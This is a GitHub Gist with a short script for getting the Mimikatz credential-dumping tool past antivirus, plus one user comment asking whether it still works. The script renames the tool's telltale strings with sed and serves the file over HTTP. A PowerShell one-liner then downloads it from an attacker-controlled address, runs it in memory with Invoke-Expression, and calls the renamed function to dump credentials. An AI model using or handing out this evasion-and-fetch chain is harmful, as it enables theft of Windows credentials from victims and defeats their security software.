Created
August 1, 2017 13:50
-
-
Save PaulSec/0f5faff83246b37fe9d3d5a2f5fc9fe0 to your computer and use it in GitHub Desktop.
Small script to bypass AV that triggers Invoke-Mimikatz with shitty rules
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # AV Bypass to run Mimikatz | |
| # From: https://www.blackhillsinfosec.com/?p=5555 | |
| # Server side: | |
| wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 | |
| sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1 | |
| sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1 | |
| sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1 | |
| sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1 | |
| sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1 | |
| sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' Invoke-Mimikatz.ps1 | |
| sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions #\-/g" Invoke-Mimikatz.ps1 | |
| python -m SimpleHTTPServer 3615 | |
| # Client-side: | |
| Invoke-Expression (New-Object Net.Webclient).downloadstring('http://x.x.x.x:3615/Invoke-Mimikatz.ps1') | |
| Invoke-Mimidogz |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hi, does this still work?
Various times I get errors with this line:$Win32Functions$ /-Win32Functions $Win32Functions #-/g" Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\' Invoke-Mimikatz.ps1
and:
sed -i -e "s/-Win32Functions